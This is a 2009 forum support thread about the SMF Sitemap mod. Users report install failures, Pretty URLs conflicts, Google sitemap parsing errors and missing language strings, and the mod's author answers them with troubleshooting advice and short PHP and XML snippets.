smf_sitemap_1.2.2.tar.gz needs to be re-packaged.

I could not upload this mod via package manager without it giving me errors.

Once I extracted the files and zipped them up, it worked perfectly.
Title: Re: Sitemap
Post by: SlammedDime on October 28, 2009, 05:41:16 PM
Interesting... I think something happened on the cust site that caused the tar.gz files to have issues.
Title: Re: Sitemap
Post by: Mayhem30 on October 30, 2009, 05:54:55 PM
I installed this mod before installing Pretty URL's.

The XML is not showing the 'Pretty URL's'. Do I need to uninstall and reinstall the mod?
Title: Re: Sitemap
Post by: SlammedDime on October 30, 2009, 06:24:51 PM
If you had SMF's queryless urls enabled prior to installing pretty urls but did not disable it first, that may be causing the issue.  you can use repair settings to make sure its unset.  If it shows as not being set, set it, save, then unset it again and save.

What is repair_settings.php? (http://docs.simplemachines.org/index.php?topic=663.0)
Title: Re: Sitemap
Post by: Mayhem30 on October 30, 2009, 07:02:07 PM
Ok, it was set to 'On" and I disabled it.

I'm still seeing the old links, not the "Pretty" ones.
Title: Re: Sitemap
Post by: Mayhem30 on October 30, 2009, 10:02:32 PM
I've just uninstalled both Pretty URL's and the Sitemaps.

Reinstalled Pretty first, then Sitemaps and it's still doing the same thing. It only shows non SEF links.

Should I have installed your Sitemap mod first?
Title: Re: Sitemap
Post by: SlammedDime on October 30, 2009, 10:06:00 PM
it shouldn't really matter... I'm sure it's an issue with some code that i've added to aid in making SEF urls for the Joomla/Mambo bridge... I'll probably be releasing a fix for the 1.1.x line of SMF once I update the mod for 2.0 RC2
Title: Re: Sitemap
Post by: Mayhem30 on October 30, 2009, 10:48:51 PM
Ok, thank you
Title: Re: Sitemap
Post by: Slobodan Radosavljevic on November 02, 2009, 06:45:57 AM
Quote from: SlammedDime on October 25, 2009, 04:55:58 PM
The error is there in plain text... you've told google that you're site is http://www.pro-hack.info, but your actual site uses http://pro-hack.info... either adjust the settings on your site to use www, or change google to not have www.
how to adjust?
Title: Re: Sitemap
Post by: Mayhem30 on November 02, 2009, 04:52:21 PM
Quote from: SlammedDime on October 30, 2009, 10:06:00 PM
it shouldn't really matter... I'm sure it's an issue with some code that i've added to aid in making SEF urls for the Joomla/Mambo bridge... I'll probably be releasing a fix for the 1.1.x line of SMF once I update the mod for 2.0 RC2

I forgot to ask - any ETA on the 1.1.x update?

Google is caching my posts like mad now - but with non SEF links ugh.
Title: Re: Sitemap
Post by: Arantor on November 02, 2009, 05:05:57 PM
Quote from: Mayhem30 on November 02, 2009, 04:52:21 PM
Google is caching my posts like mad now - but with non SEF links ugh.

It doesn't hurt having "non SEF links". With Google, content is by FAR the most important.
Title: Re: Sitemap
Post by: baagacheppav on November 08, 2009, 09:41:14 PM
Quote from: funkenwerner on October 27, 2009, 06:27:25 PM
I have SMF 1.1.10

and your: smf_sitemap_1.2.2.tar.gz (8KB) [5583]

Das Paket welches Sie hochladen möchten ist ungültig oder kaputt.

in english: The package which you upload would want is invalid or broken.


???????

please help

Exactly i am also having the same problem.... i am not able to install...

i uploaded it through ftp to packages folder and i can now see in admin panel but there is no option to appy mod install or unstall....

what to do now... is it compatable with 1.1.10????
Title: Re: Sitemap
Post by: MultiformeIngegno on November 09, 2009, 08:03:07 AM
Quote from: SlammedDime on October 27, 2009, 12:26:06 AM
You may need to use the 'Advanced' box at the bottom of your package manager to enable the sitemap to install on RC2, but it will install and will work.  Once RC2 is public, a new version of the mod will be uploaded to the mod site that contains bug fixes and Pretty Urls support.
You rock!! ;)
Title: Re: Sitemap
Post by: Nick Whetstone on November 09, 2009, 08:24:02 PM
Awesome Mod :) I'm having a problem with it though, I'm afraid.
I upgraded to RC2 from RC1.2, and now it refuses to work, I'm afraid. I have deleted, uninstalled, reinstalled, etc the Sitemap mod multiple times now to no avail. When I attempt to install it, I get the following message:
QuoteThe package you are trying to download or install is either corrupt or not compatible with this version of SMF. 
Using the Advanced option, I emulated to RC1.2 with no luck. Any advice?
Title: Re: Sitemap
Post by: Arantor on November 09, 2009, 08:39:08 PM
The mod doesn't say it supports RC2 yet.
Title: Re: Sitemap
Post by: Nick Whetstone on November 09, 2009, 09:23:34 PM
Quote from: SlammedDime on October 27, 2009, 12:26:06 AM
Actually the Sitemap DOES work with RC2 and there is no need for you to support it on your site, the support here is just fine.

You may need to use the 'Advanced' box at the bottom of your package manager to enable the sitemap to install on RC2, but it will install and will work.  Once RC2 is public, a new version of the mod will be uploaded to the mod site that contains bug fixes and Pretty Urls support.

The Mod listing doesn't say that, but I was referring to this post. Perhaps I took it out of context or misread it
Title: Re: Sitemap
Post by: Mayhem30 on November 09, 2009, 11:59:29 PM
Quote from: SlammedDime on October 30, 2009, 10:06:00 PM
it shouldn't really matter... I'm sure it's an issue with some code that i've added to aid in making SEF urls for the Joomla/Mambo bridge... I'll probably be releasing a fix for the 1.1.x line of SMF once I update the mod for 2.0 RC2

You wouldn't happen to have a copy of this sitemap addon before you added support for Joomla/Mambo bridge?
Title: Re: Sitemap
Post by: SAFAD on November 10, 2009, 03:15:16 AM
Please Update This TO
RC2
TY
Title: Re: Sitemap
Post by: SlammedDime on November 10, 2009, 07:00:38 AM
I will... when real life allows me.  Thank you.
Title: Re: Sitemap
Post by: صلاح الدين on November 10, 2009, 11:18:17 AM
Quote from: SlammedDime on November 10, 2009, 07:00:38 AM
I will... when real life allows me.  Thank you.
we waiting you ....
Title: Re: Sitemap
Post by: devil_jin on November 10, 2009, 01:16:52 PM
One of the most useful mod on SMF ..

Wish u get time from ur real life to upgrade it to RC2...

Waiting for it to be upgraded to work with RC 2 then only will install RC2 ... lol

Thanks for this mod :)
Title: Re: Sitemap
Post by: bdewong on November 10, 2009, 02:37:38 PM
I created a version of this mod for myself to be able to install in RC2 and am offering it to anyone who wants it. It is just an exact copy of version 2.0.0 re-numbered to 2.0.1 and the install file rewritten. This is nothing official and I didn't do any coding, just trying to help out.

[url removed]

you will need to replace the "hxxp": with "http: slash slash"
Title: Re: Sitemap
Post by: TigPT on November 10, 2009, 03:52:24 PM
Hope you get time for this SlammedDime, but your life is first.

Once again thanks for this mod, it is really useful!

Thanks for the work bdewong, it should help SlammedDime when he got time.
Title: Re: Sitemap
Post by: SlammedDime on November 10, 2009, 05:29:16 PM
bdewong - I've removed the link from your post and I'd ask that you remove the package from your hosting.  I did not, nor will not, authorize any other distribution other than from SM.org.  The mod will be updated on the mod site in short time.
Title: Re: Sitemap
Post by: bdewong on November 10, 2009, 05:35:42 PM
Sorry SlammedDime,
I didn't realize it would be a problem. I have removed it.
Title: Re: Sitemap
Post by: SlammedDime on November 10, 2009, 05:46:41 PM
Mod has been updated on Mod site.
Title: Re: Sitemap
Post by: kai920 on November 10, 2009, 08:57:31 PM
Quote from: SlammedDime on November 10, 2009, 05:46:41 PM
Mod has been updated on Mod site.

Thanks for your hard work.
Title: Re: Sitemap
Post by: MultiformeIngegno on November 12, 2009, 10:02:15 AM
Thanks!! ;)
I only receive these errors...:

Guest
8: Undefined index: sitemap
http://myforum/index.php?action=sitemap;xml
File: /public_html/forum/Sources/Sitemap.php
Line: 23

Guest
8: Undefined index: sitemap
http://myforum/index.php?action=sitemap;xml
File: /public_html/forum/Sources/Sitemap.php
Line: 27
Title: Re: Sitemap
Post by: SlammedDime on November 12, 2009, 04:57:42 PM
That means your language strings were not updated in your language file.  If you have any other Modifications.[language].php file OTHER than english, you need to copy what is in it to the other languages.
Title: Re: Sitemap
Post by: MultiformeIngegno on November 13, 2009, 08:19:52 AM
Quote from: SlammedDime on November 12, 2009, 04:57:42 PM
That means your language strings were not updated in your language file.  If you have any other Modifications.[language].php file OTHER than english, you need to copy what is in it to the other languages.
Thanks!! :)
I've translated that strings in Italian so you can add 'em in the package! ;)

// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Sezioni';
$txt['sitemap_xml'] = 'Mostra il <em>link</em> relativo alla Sitemap XML';
$txt['sitemap_topic_count'] = 'Numero massimo di discussioni da visualizzare nella Sitemap XML<br /><span class="smalltext">0 per visualizzarle tutte (<strong class="error">NON RACCOMANDATO IN FORUM DI GRANDI DIMENSIONI</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Tempo di cache per i dati XML (secondi)';
$txt['sitemap_board_none'] = 'Nessuna sezione da visualizzare';
$txt['sitemap_topic_none'] = 'Nessun topic da visualizzare';
$txt['sitemap_30day_priority'] = 'Priorità per discussioni attive negli ultimi 30 giorni';
$txt['sitemap_60day_priority'] = 'Priorità per discussioni attive negli ultimi 60 giorni';
$txt['sitemap_90day_priority'] = 'Priorità per discussioni attive negli ultimi 90 giorni';
$txt['sitemap_91day_priority'] = 'Priorità per discussioni inattive da almeno 90 giorni';
Title: Re: Sitemap
Post by: bangsanegara on November 13, 2009, 12:50:11 PM
hi,

i have installed smf_sitemap_1.2.2 with my SMF 1.1.10 everything is OK but when i submit "sitemap/?xml" to google, it says :

"Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting."


but if i save "sitemap/?xml" to something.xml and then i upload it, it was accepted by google. I want it submitted automatically, not manual submitted like this. Any idea?
Title: Re: Sitemap
Post by: sshahnawaz on November 13, 2009, 03:52:05 PM
Hi, I have tried finding my answer, but have found nothing so far.

I have installed sitemap on 1.1.10 and the file index.php?action=sitemap simply shows nothing to me.

My error log shows no error messages on this. Any ideas?
Title: Re: Sitemap
Post by: SlammedDime on November 13, 2009, 05:22:20 PM
Quote from: bangsanegara on November 13, 2009, 12:50:11 PM
hi,

i have installed smf_sitemap_1.2.2 with my SMF 1.1.10 everything is OK but when i submit "sitemap/?xml" to google, it says :

"Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting."


but if i save "sitemap/?xml" to something.xml and then i upload it, it was accepted by google. I want it submitted automatically, not manual submitted like this. Any idea?

Use this link: http://www.coffeecommunity.web.id/?action=sitemap;xml

Title: Re: Sitemap
Post by: SlammedDime on November 13, 2009, 05:22:54 PM
Quote from: sshahnawaz on November 13, 2009, 03:52:05 PM
Hi, I have tried finding my answer, but have found nothing so far.

I have installed sitemap on 1.1.10 and the file index.php?action=sitemap simply shows nothing to me.

My error log shows no error messages on this. Any ideas?
Have you checked any of the files this modifies to see if they were in fact modified?
Title: Re: Sitemap
Post by: Sirius OCTeam on November 13, 2009, 09:35:43 PM
Hello, great mod !

version: 2.1.0

I got this two notice in my error log

Quote./forum/index.php?action=sitemap;xml
8: Undefined index: sitemap
Fichier:./forum/Sources/Sitemap.php
Ligne: 27

Quote./forum/index.php?action=sitemap;xml
8: Undefined index: sitemap
Fichier:./forum/Sources/Sitemap.php
Ligne: 23

Also I must say that I use the Avea Mod, and if you:

- install Avea
- install sitemap
- try uninstall Avea => You can't the code parse fail

Because they fight for the same part of code:

  'description' => $txt['modification_settings_desc'], 'tabs' => array( 'general' => array( ), 

I must uninstall Sitemap before Avea, any fix for that please ?
Thanks
Title: Re: Sitemap
Post by: bangsanegara on November 14, 2009, 01:50:40 AM
Quote from: SlammedDime on November 13, 2009, 05:22:20 PM
Quote from: bangsanegara on November 13, 2009, 12:50:11 PM
hi,

i have installed smf_sitemap_1.2.2 with my SMF 1.1.10 everything is OK but when i submit "sitemap/?xml" to google, it says :

"Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting."


but if i save "sitemap/?xml" to something.xml and then i upload it, it was accepted by google. I want it submitted automatically, not manual submitted like this. Any idea?

Use this link: http://www.coffeecommunity.web.id/?action=sitemap;xml

i still have that error....  :-\
this was what i submitted to google : "?action=sitemap;xml" (as your suggestion)
FYI, sitemap error was in the end of line (in </urlset> tag)
Title: Re: Sitemap
Post by: nassatellite on November 16, 2009, 06:23:15 AM
Sitemap for 2.0.RC-1.2  help me
Title: Re: Sitemap
Post by: lelkins on November 16, 2009, 12:36:48 PM
I have installed this on SMF 2.0 RC2 and tried submitting to Google and it has given me an error;
QuoteYour Sitemap appears to be an HTML page. Please use a supported sitemap format instead

I have tried submitting ?action=sitemap;xml and index.php?action=sitemap;xml and they both give me the same error.
Cheers
Title: Re: Sitemap
Post by: SlammedDime on November 16, 2009, 04:07:31 PM
Quote from: nassatellite on November 16, 2009, 06:23:15 AM
Sitemap for 2.0.RC-1.2  help me
RC2 is out now, thus the Sitemap works for that version.  I'd recommend upgrading.

Quote from: lelkins on November 16, 2009, 12:36:48 PM
I have installed this on SMF 2.0 RC2 and tried submitting to Google and it has given me an error;
QuoteYour Sitemap appears to be an HTML page. Please use a supported sitemap format instead

I have tried submitting ?action=sitemap;xml and index.php?action=sitemap;xml and they both give me the same error.
Cheers
I'd need to see a real link to your site to try and determine the problem.
Title: Re: Sitemap
Post by: nguirado on November 16, 2009, 11:17:49 PM
I get the following error:


Quote5.     Execute Modification     ./Themes/default/index.template.php     Test failed
      1.    Add After    ./Themes/default/index.template.php    Test failed
Title: Re: Sitemap
Post by: bangsanegara on November 17, 2009, 04:59:18 AM
Quote from: bangsanegara on November 14, 2009, 01:50:40 AM
Quote from: SlammedDime on November 13, 2009, 05:22:20 PM
Quote from: bangsanegara on November 13, 2009, 12:50:11 PM
hi,

i have installed smf_sitemap_1.2.2 with my SMF 1.1.10 everything is OK but when i submit "sitemap/?xml" to google, it says :

"Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting."


but if i save "sitemap/?xml" to something.xml and then i upload it, it was accepted by google. I want it submitted automatically, not manual submitted like this. Any idea?

Use this link: http://www.coffeecommunity.web.id/?action=sitemap;xml

i still have that error....  :-\
this was what i submitted to google : "?action=sitemap;xml" (as your suggestion)
FYI, sitemap error was in the end of line (in </urlset> tag)

would you tell me how to fix this?

thank you...
Title: Re: Sitemap
Post by: tonnybarros on November 17, 2009, 02:02:28 PM
If I unlock the Pretty URLs, the error in the XML:
"Error in XML parsing: no element found
Position: http://www.tectonny.com/forum/index.php?action=sitemap; xml
Number of line 1, column 1: "
Title: Re: Sitemap
Post by: SlammedDime on November 17, 2009, 04:41:49 PM
Quote from: tonnybarros on November 17, 2009, 02:02:28 PM
If I unlock the Pretty URLs, the error in the XML:
"Error in XML parsing: no element found
Position: http://www.tectonny.com/forum/index.php?action=sitemap; xml
Number of line 1, column 1: "
The sitemap loads fine, albeit a bit slow.  Your site in general seems slow, so that doesn't really help either.  Is Caching enabled?  That will help out a bit on the MySQL side.  Pretty urls may be causing a memory overload due to the number of links it has to convert... you might want to take that up with the author of that mod.

bangsanegara - You can try this: http://www.coffeecommunity.web.id/index.php?action=sitemap;xml  (note the index.php in it).  I can't really see why it wouldn't work at that point unless Pretty Urls is adding in some sort of special character somewhere that is causing an issue.  Your sitemap does validate properly at http://www.validome.org/google/validate so I don't know why Google says its not valid.
Title: Re: Sitemap
Post by: rachit14nov on November 17, 2009, 05:02:59 PM
I have installed this on SMF 2.0 RC2 and tried submitting to Google and it has given me an error; >:(
Title: Re: Sitemap
Post by: Mayhem30 on November 17, 2009, 05:18:03 PM
I've noticed you have updated this mod for SMF 2.x - any plans to do the same for 1.1.xx?
Title: Re: Sitemap
Post by: bangsanegara on November 18, 2009, 05:30:38 AM
Quote from: SlammedDime on November 17, 2009, 04:41:49 PM
bangsanegara - You can try this: http://www.coffeecommunity.web.id/index.php?action=sitemap;xml  (note the index.php in it).  I can't really see why it wouldn't work at that point unless Pretty Urls is adding in some sort of special character somewhere that is causing an issue.  Your sitemap does validate properly at http://www.validome.org/google/validate so I don't know why Google says its not valid.

still error, same error...  :'(

that's right, i've already validate my sitemap, and it was valid! strange.... but i have the same thought with you : "Pretty Urls is adding in some sort of special character somewhere that is causing an issue".

FYI, i added (modified) this code to make prettyurls works together with sitemap, within template_XMLDisplay() function :



$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

echo '<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';

echo '
<url>
<loc>', sefReltoAbs($myurl), '</loc>
<lastmod>', $context['sitemap']['main']['time'], '</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>';

if (isset($context['sitemap']['board']))
foreach ($context['sitemap']['board'] as $board)
echo '
<url>
<loc>', sefReltoAbs($myurl . $mark . 'board=' . $board['id']), '</loc>
<lastmod>', $board['time'], '</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>';

if (isset($context['sitemap']['topic']))
foreach ($context['sitemap']['topic'] as $topic)
echo '
<url>
<loc>', sefReltoAbs($myurl . $mark . 'topic=' . $topic['id']), '</loc>
<lastmod>', $topic['time'], '</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>';

echo '
</urlset>';



note the :

$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';


in the top of the code.

perhaps you get the clue of this....
Title: Re: Sitemap
Post by: tonnybarros on November 18, 2009, 06:20:00 AM
I have installed cache ... So in my case it will not work?
Title: Re: Sitemap
Post by: Mayhem30 on November 18, 2009, 02:12:53 PM
Quote
FYI, i added (modified) this code to make prettyurls works together with sitemap, within template_XMLDisplay() function :



$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

echo '<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';

echo '
<url>
<loc>', sefReltoAbs($myurl), '</loc>
<lastmod>', $context['sitemap']['main']['time'], '</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>';

if (isset($context['sitemap']['board']))
foreach ($context['sitemap']['board'] as $board)
echo '
<url>
<loc>', sefReltoAbs($myurl . $mark . 'board=' . $board['id']), '</loc>
<lastmod>', $board['time'], '</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>';

if (isset($context['sitemap']['topic']))
foreach ($context['sitemap']['topic'] as $topic)
echo '
<url>
<loc>', sefReltoAbs($myurl . $mark . 'topic=' . $topic['id']), '</loc>
<lastmod>', $topic['time'], '</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>';

echo '
</urlset>';



note the :

$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';


in the top of the code.

perhaps you get the clue of this....


Nice find - that did the trick ... Thank you very much!
Title: Re: Sitemap
Post by: baagacheppav on November 18, 2009, 02:46:00 PM
I jst installed 1.2.2 version on my 1.1.10 smf forum. It was installed successfully and when i click on site map it is working fine.

When i click on the XML link at the bottom of the page this is the error i am facing

XML Parsing Error: no element found
Location: http://www.mydomainXX.com/index.php?action=sitemap;xml
Line Number 1, Column 1:

i want to submit my sitemap url to google. How can i do that? Please help me.
Title: Re: Sitemap
Post by: SlammedDime on November 18, 2009, 03:48:03 PM
I need a real link to your site to be able to help you.
Title: Re: Sitemap
Post by: baagacheppav on November 18, 2009, 04:54:00 PM
i just sent a msg about my website details
Title: Re: Sitemap
Post by: MultiformeIngegno on November 18, 2009, 05:18:38 PM
Quote from: lorenzone92 on November 13, 2009, 08:19:52 AM
I've translated that strings in Italian so you can add 'em in the package! ;)
Only wanted to be sure you've read my post.. ;)
Title: Re: Sitemap
Post by: digger on November 19, 2009, 04:59:20 PM
Mod shows titles of unapproved topics in the map.
Title: Re: Sitemap
Post by: baagacheppav on November 19, 2009, 07:58:16 PM
Quote from: SlammedDime on November 18, 2009, 03:48:03 PM
I need a real link to your site to be able to help you.

did you get a chance to see my site?
Title: Re: Sitemap
Post by: bangsanegara on November 23, 2009, 04:57:00 AM
Quote from: Slobodan Radosavljevic on November 22, 2009, 04:24:44 PM
Quote from: Slobodan Radosavljevic on November 02, 2009, 06:45:57 AM
Quote from: SlammedDime on October 25, 2009, 04:55:58 PM
The error is there in plain text... you've told google that you're site is http://www.pro-hack.info, but your actual site uses http://pro-hack.info... either adjust the settings on your site to use www, or change google to not have www.
how to adjust?

add your site to google webmaster tools and verify it. you have to add your site twice (with "www" and without "www"). After the two of your site are verified, then go to Site Configuration -> settings -> set Preferred domain. done.
Title: Re: Sitemap
Post by: bangsanegara on November 23, 2009, 04:59:33 AM
Quote from: bangsanegara on November 18, 2009, 05:30:38 AM
Quote from: SlammedDime on November 17, 2009, 04:41:49 PM
bangsanegara - You can try this: http://www.coffeecommunity.web.id/index.php?action=sitemap;xml  (note the index.php in it).  I can't really see why it wouldn't work at that point unless Pretty Urls is adding in some sort of special character somewhere that is causing an issue.  Your sitemap does validate properly at http://www.validome.org/google/validate so I don't know why Google says its not valid.

still error, same error...  :'(

that's right, i've already validate my sitemap, and it was valid! strange.... but i have the same thought with you : "Pretty Urls is adding in some sort of special character somewhere that is causing an issue".

FYI, i added (modified) this code to make prettyurls works together with sitemap, within template_XMLDisplay() function :



$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

echo '<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';

echo '
<url>
<loc>', sefReltoAbs($myurl), '</loc>
<lastmod>', $context['sitemap']['main']['time'], '</lastmod>
<changefreq>hourly</changefreq>
<priority>1.0</priority>
</url>';

if (isset($context['sitemap']['board']))
foreach ($context['sitemap']['board'] as $board)
echo '
<url>
<loc>', sefReltoAbs($myurl . $mark . 'board=' . $board['id']), '</loc>
<lastmod>', $board['time'], '</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>';

if (isset($context['sitemap']['topic']))
foreach ($context['sitemap']['topic'] as $topic)
echo '
<url>
<loc>', sefReltoAbs($myurl . $mark . 'topic=' . $topic['id']), '</loc>
<lastmod>', $topic['time'], '</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>';

echo '
</urlset>';



note the :

$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';


in the top of the code.

perhaps you get the clue of this....

help me....
Title: Re: Sitemap
Post by: SlammedDime on November 24, 2009, 03:40:22 AM
bangsanegara - I really have no more advice to give you... I can't see any possible reasons that Google won't accept the sitemap.  There is one possible thing left for me to check but I can only do it when I get home from work, as I don't have the firefox addin installed here.  I doubt that what I'm thinking is the issue, but it's something I can check.  If that isn't it, I'm out of ideas.
Title: Re: Sitemap
Post by: bangsanegara on November 24, 2009, 05:46:48 AM
Quote from: SlammedDime on November 24, 2009, 03:40:22 AM
bangsanegara - I really have no more advice to give you... I can't see any possible reasons that Google won't accept the sitemap.  There is one possible thing left for me to check but I can only do it when I get home from work, as I don't have the firefox addin installed here.  I doubt that what I'm thinking is the issue, but it's something I can check.  If that isn't it, I'm out of ideas.

Thank you for your time, i  really appreciate that. can't wait for the good news...  ;)
Title: Re: Sitemap
Post by: SlammedDime on November 24, 2009, 06:10:47 AM
Quote from: bangsanegara on November 24, 2009, 05:46:48 AM
Quote from: SlammedDime on November 24, 2009, 03:40:22 AM
bangsanegara - I really have no more advice to give you... I can't see any possible reasons that Google won't accept the sitemap.  There is one possible thing left for me to check but I can only do it when I get home from work, as I don't have the firefox addin installed here.  I doubt that what I'm thinking is the issue, but it's something I can check.  If that isn't it, I'm out of ideas.

Thank you for your time, i  really appreciate that. can't wait for the good news...  ;)
You lucked out.  My idea was right.  Whenever googlebot visits your site (and thus the sitemap bot), your host (presumably), adds some extra code to the bottom of the page.  You'll need to talk to them about this:

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->
Title: Re: Sitemap
Post by: bangsanegara on November 24, 2009, 12:45:41 PM
Quote from: SlammedDime on November 24, 2009, 06:10:47 AM
You lucked out.  My idea was right.  Whenever googlebot visits your site (and thus the sitemap bot), your host (presumably), adds some extra code to the bottom of the page.  You'll need to talk to them about this:

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->


OMG, you're absolutely right! ok, i will discuss this with my hosting provider.... what a long race to clear it up...  ;D so it's totally not your code fault, you're the man SlammedDime...  thanks!
Title: Re: Sitemap
Post by: oceano_bkk on November 27, 2009, 01:14:54 PM
Quote from: nguirado on November 16, 2009, 11:17:49 PM
I get the following error:


Quote5.     Execute Modification     ./Themes/default/index.template.php     Test failed
      1.    Add After    ./Themes/default/index.template.php    Test failed

Same error, i think we are not the only one...can help us?
Title: Re: Sitemap
Post by: SlammedDime on November 27, 2009, 03:09:51 PM
You'll just have to manually install the mod on that file.  You can view the manual instructions by selecting your version of the mod and SMF and clicking 'Parse' on the mod's download page.
Title: Re: Sitemap
Post by: BellGab.com on November 28, 2009, 05:14:12 AM
Quote from: Slobodan Radosavljevic on November 02, 2009, 06:45:57 AM
Quote from: SlammedDime on October 25, 2009, 04:55:58 PM
The error is there in plain text... you've told google that you're site is http://www.pro-hack.info, but your actual site uses http://pro-hack.info... either adjust the settings on your site to use www, or change google to not have www.
how to adjust?
you need to go into admin > configuration > server settings > database and paths... then change "forum url" so that there is a www prior to your forum's domain name.  looks like you can't change that from google's side because it appears that it forces you to use the www.  good luck.
Title: Re: Sitemap
Post by: CrazyTech on November 30, 2009, 01:06:38 PM
I've got Pretty URLs and Sitemap installed; everything is working fine with the exception of the XML. I'm getting a 500 error (generic) when I try to reach it. I know that's not providing a whole lot of help, but do you have any thoughts?
Title: Re: Sitemap
Post by: SlammedDime on November 30, 2009, 03:08:31 PM
500 errors are normally logged in the Hosting error log (cPanel error log).  Anything there?  How many topics does your forum have?  How many boards?
Title: Re: Sitemap
Post by: pharmajobtalk on December 02, 2009, 01:17:17 AM
I have followed some directions on this thread to get the sitemap mod (1.2.2) to work with Pretty URLs mod.  Basically, I added the following code to the sitemap.template file:
$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';


I added this just before echo '<?xml version="1.0" encoding="UTF-8"?>


So this works except for one real weird thing: the xml sitemap won't refresh and is showing an outdated output.  I can't understand why it is doing this but I am just a newbie.  Any thoughts?
Title: Re: Sitemap
Post by: SlammedDime on December 02, 2009, 01:44:26 AM
how is it 'outdated'?  The sitemap for SMF 1.1.x doesn't do any caching, it's always fresh out of the database.
Title: Re: Sitemap
Post by: pharmajobtalk on December 02, 2009, 12:41:28 PM
The XML sitemap is outdated in that it shows old links.  For exampe, I have made changes to the boards and moved messages.  Well, the XML output shows the old links (even after a week).  I am thinking that it may be the code that I added to the sitemap.template file to get it to work with Pretty Urls mod. 
Title: Re: Sitemap
Post by: SlammedDime on December 02, 2009, 05:51:09 PM
if you're referring to changing board or topic names or moving topics to other boards and their 'link' doesn't change, yes, that is a pretty urls bug
Title: Re: Sitemap
Post by: pharmajobtalk on December 02, 2009, 06:44:45 PM
Thanks SlammedDime, I will look into what I can do to fix the issue with the Pretty Urls mod bug.  Thanks again.
Title: Re: Sitemap
Post by: CrazyTech on December 02, 2009, 09:26:39 PM
Quote
500 errors are normally logged in the Hosting error log (cPanel error log).  Anything there?  How many topics does your forum have?  How many boards?

Yeah, that's what I was saying, Apache log shows a generic headers already sent error message. Works fine the moment I completely disable Pretty URL's but I did notice it was working on your site and others.

I have a total of 30 boards (including subforums) of which 25 are public. As far as topics I have 11.4k and then 75k posts.

It's just the XML that sends that error.

Thanks for you help by the way! I do appreciate your work and help!!

Edit
I worked on pretty URLs the other day, and apparently it fixed the issue. I'm able to access the XML sitemap now. Very strange, but I wanted to thank you again for your help and let you know this was cleared up.
Title: Re: Sitemap
Post by: nexxuscorp on December 09, 2009, 05:35:30 AM
Hello,

I have just installed the mod to a fresh forum, but in my admin log a have this :

http://www.sakuraland.fr/index.php?action=sitemap;xml
8: Undefined index: sitemap
Fichier: /home/sakuraland/www/Sources/Sitemap.php
Ligne: 27

I don't know where is the probleme.

I show you the line :

23:     $context['page_title'] = $txt['sitemap'];

27:     'name' => $txt['sitemap'],

Can you help me please ?
Title: Re: Sitemap
Post by: SlammedDime on December 09, 2009, 05:49:18 AM
Quote from: SlammedDime on November 12, 2009, 04:57:42 PM
That means your language strings were not updated in your language file.  If you have any other Modifications.[language].php file OTHER than english, you need to copy what is in it to the other languages.
Title: Re: Sitemap
Post by: nexxuscorp on December 09, 2009, 07:28:48 AM
HEllo SLimmedime,

Thanks for the response, but i have change my modification.french.php, but the error style appear....
Title: Re: Sitemap
Post by: SlammedDime on December 09, 2009, 03:40:56 PM
Did you clear your file cache?
Title: Re: Sitemap
Post by: nexxuscorp on December 10, 2009, 03:07:38 AM
Thanks a lot SlammeDime, all seems to be ok.
I forgot to clear the cache.

Thank you :p
Title: Re: Sitemap
Post by: beltazar on December 10, 2009, 11:55:37 PM
hi SlammedDime,

